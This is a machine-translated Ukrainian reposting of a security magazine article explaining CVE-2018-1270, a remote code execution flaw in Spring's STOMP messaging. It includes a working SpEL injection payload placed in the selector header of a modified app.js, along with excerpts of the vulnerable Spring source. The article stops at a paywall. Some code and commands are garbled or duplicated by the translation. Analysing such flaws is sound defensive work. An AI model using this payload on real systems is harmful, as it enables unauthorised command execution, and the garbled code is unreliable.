<
  • Главная
Статьи

Весняне загострення. Як працюють дві критичні уразливості в Spring Framework

  1. Зміст статті Spring - це найпопулярніший фреймворк для розробки на Java, на ньому базуються сотні...
  2. RCE в модулі spring-messaging (CVE-2018-1270)
  3. /gs-messaging-stomp-websocket/complete/src/main/resources/static/app.js
  4. /org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
  5. /org/springframework/expression/spel/standard/InternalSpelExpressionParser.java
  6. Продовження доступно тільки учасникам
  7. Варіант 2. Відкрий один матеріал

Зміст статті

Spring - це найпопулярніший фреймворк для розробки на Java, на ньому базуються сотні рішень в самих різних областях. Тут і всілякі веб-сайти, і ентерпрайз-сервіси, і багато іншого. Важко знайти серйозне додаток на Java, яке б не використовувало Spring. Нещодавно в ньому були знайдені дві критичні уразливості, які призводять до віддаленого виконання коду. Давай подивимося, як вони працюють.

Перша вразливість (CVE-2018-1270) стосується модуля для роботи з веб-сокетами, друга (CVE-2018-1260) - модуля авторизації по протоколу OAuth2. Але перш ніж розбирати їх, підготуємо стенд для тестування.

стенд

Знову мої улюблені стенди для Java, та ще й з модулями фреймворка, про що ще можна мріяти? 🙂

У роботі нам знадобляться:

  • будь-яка операційка;
  • Docker;
  • Java 8;
  • Maven або інша Ant-подібна тулза для билда;
  • в ідеалі якась IDE, але і звичайний текстовий редактор зійде.

Як ти вже зрозумів, для кожної уразливості потрібно буде завантажувати, компілювати і запускати додатки, написані на Java. Компіляція і запуск в загальному випадку будуть зводитися до пари команд.

$ Mvn package $ java -jar target \ package.jar

Якщо скористаєшся IDE, то процес буде більш наочним. Я для своєї роботи візьму IntelliJ IDEA. Всі інші маніпуляції розглянемо по ходу розбору вразливостей. Погнали!

RCE в модулі spring-messaging (CVE-2018-1270)

Перший баг в списку - це віддалене виконання команд в модулі spring-messaging, який входить в стандартну поставку Spring Framework. Уразливість, знайдена 5 квітня, отримала ідентифікатор CVE-2018-1270 і має статус критичної. Вона зачіпає всі версії фреймворка з гілок 4 і 5, аж до актуальних 4.3.14 і 5.0.4. Проблема полягає в некоректній логіці обробки STOMP-повідомлень (Simple / Streaming Text Oriented Message Protocol) і легко експлуатується віддалено.

STOMP - це спеціально спроектований протокол обміну повідомленнями. Він простий і заснований на фреймах, подібно HTTP. Фрейм складається з команди, необов'язкових заголовків і необов'язкового тіла. Завдяки своїй простоті STOMP може бути реалізований поверх великої кількості інших протоколів, таких як RabbitMQ, ActiveMQ та інших. Також можна успішно організувати роботу поверх WebSockets. Саме цей спосіб нам цікавий в рамках уразливості, так як проблема знаходиться в модулі spring-messaging, в реалізації протоколу STOMP.

Для тестування уразливості нам буде потрібно завантажити приклади використання STOMP зі сховищ https://github.com/spring-guides/gs-messaging-stomp-websocket . Підійде будь-який Комміт до 5 квітня.

Підійде будь-який Комміт до 5 квітня

Коммітов в репозиторії з прикладами роботи протоколу STOMP
$ Git clone https://github.com/spring-guides/gs-messaging-stomp-websocket $ cd gs-messaging-stomp-websocket $ git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

Тепер заглянемо в папку, де зберігається фронтенд. Нас цікавить файл app.js, а в ньому - функція, яка відповідає за підключення клієнта до сервера. Для цих цілей тут використовується бібліотека SockJS.

/gs-messaging-stomp-websocket/complete/src/main/resources/static/app.js

15: function connect () {16: var socket = new SockJS ( '/ gs-guide-websocket'); 17: stompClient = Stomp.over (socket); 18: stompClient.connect ({}, function (frame) {19: setConnected (true); 20: console.log ( 'Connected:' + frame); 21: stompClient.subscribe ( '/ topic / greetings', function ( greeting) {22: showGreeting (JSON.parse (greeting.body) .content); 23:}); 24:}); 25:}

Нам потрібно додати змінну з пейлоадом, яка буде відправлятися в якості заголовка selector коли Ви створюєте з'єднання. Для полегшення експлуатації можна зробити це до компіляції.

15: function connect () {16: var header = { "selector": "T (java.lang.Runtime) .getRuntime (). Exec ( 'calc.exe')"}; 17: var socket = new SockJS ( '/ gs-guide-websocket'); 18: stompClient = Stomp.over (socket); 19: stompClient.connect ({}, function (frame) {20: setConnected (true); 21: console.log ( 'Connected:' + frame); 22: stompClient.subscribe ( '/ topic / greetings', function ( greeting) {23: showGreeting (JSON.parse (greeting.body) .content); 24:}, header); 25:}); 26:}

Після цього можна скомпілювати і запустити додаток.

$ Cd complete $ mvn package $ java -jar target / gs-messaging-stomp-websocket-0.1.0.jar $ Cd complete $ mvn package $ java -jar target / gs-messaging-stomp-websocket-0 Запущене застосування для тестування STOMP

згідно специфікації протоколу STOMP передані в Хідер selector дані будуть використовуватися для фільтрації інформації про глобально.

У файлі DefaultSubscriptionRegistry.java є функція, яка відпрацьовує при створенні нового підключення, де генерується нова підписка на події для цього клієнта.

/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java

139: @Override 140: protected void addSubscriptionInternal (141: String sessionId, String subsId, String destination, Message <?> Message) {142: 143: Expression expression = null; 144: MessageHeaders headers = message.getHeaders (); 145: String selector = SimpMessageHeaderAccessor.getFirstNativeHeader (getSelectorHeaderName (), headers); ... 160: this.subscriptionRegistry.addSubscription (sessionId, subsId, destination, expression); 161: this.destinationCache.updateAfterNewSubscription (destination, sessionId, subsId);

А якщо зустрічається Хідер selector, то його вміст інтерпретується як вираз на мові SpEL (Spring Expression Language). За його обробку відповідає функція doParseExpression класу SpelExpression.

/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java

121: @Override 122: protected SpelExpression doParseExpression (String expressionString, @Nullable ParserContext context) 123: throws ParseException {124: 125: try {126: this.expressionString = expressionString; 127: Tokenizer tokenizer = new Tokenizer (expressionString); 128: this.tokenStream = tokenizer.process (); 129: this.tokenStreamLength = this.tokenStream.size (); 130: this.tokenStreamPointer = 0; 131: this.constructedNodes.clear (); 132: SpelNodeImpl ast = eatExpression (); 133: Assert.state (ast! = Null, "No node"); 121: @Override 122: protected SpelExpression doParseExpression (String expressionString, @Nullable ParserContext context) 123: throws ParseException {124: 125: try {126: this Обробка заголовка selector при створенні з'єднання

Тут є можливість виклику конструктора java.lang.Class за допомогою модифікатора T.

Парсинг вираження, переданого в selector

Це означає, що ми досить легко можемо створити екземпляр об'єкта java.lang.Runtime і виконати довільну команду за допомогою методу exec.

Оброблене вираз на SpEL, передане в selector

Тепер, після того як селектор прив'язаний до повідомлень, на які підписаний користувач, можна продовжувати спілкування з сервером, щоб почати отримувати ці самі повідомлення. Для цього в прикладі передбачений стандартний Hello,% username%.

Коли гість відправить ім'я за допомогою відповідної форми, сервер повинен його привітати. Тобто він повинен вислати відповідь всім користувачам, які підписані на цю подію. Цим займається функція sendMessageToSubscribers, в якій виконується метод findSubscriptions. Він знаходить всіх адресатів, які були підписані на повідомлення даного типу.

Продовження доступно тільки учасникам

Варіант 1. Приєднайся до товариства «Xakep.ru», щоб читати всі матеріали на сайті

Членство в співтоваристві протягом зазначеного терміну відкриє тобі доступ до ВСІХ матеріалами «Хакера», збільшить особисту накопичувальну знижку і дозволить накопичувати професійний рейтинг Xakep Score! Детальніше

Варіант 2. Відкрий один матеріал

Зацікавила стаття, але немає можливості стати членом клубу «Xakep.ru»? Тоді цей варіант для тебе! Зверни увагу: цей спосіб підходить тільки для статей, опублікованих більше двох місяців тому.


String sessionId, String subsId, String destination, Message <?
Ru»?


Новости
  • Виртуальный хостинг

    Виртуальный хостинг. Возможности сервера распределяются в равной мере между всеми... 
    Читать полностью

  • Редизайн сайта

    Редизайн сайта – это полное либо частичное обновление дизайна существующего сайта.... 
    Читать полностью

  • Консалтинг, услуги контент-менеджера

    Сопровождение любых интернет ресурсов;- Знание HTML и CSS- Поиск и обновление контента;-... 
    Читать полностью

  • Трафик из соцсетей

    Сравнительно дешевый способ по сравнению с поисковым и контекстным видами раскрутки... 
    Читать полностью

  • Поисковая оптимизация

    Поисковая оптимизация (англ. search engine optimization, SEO) — поднятие позиций сайта в результатах... 
    Читать полностью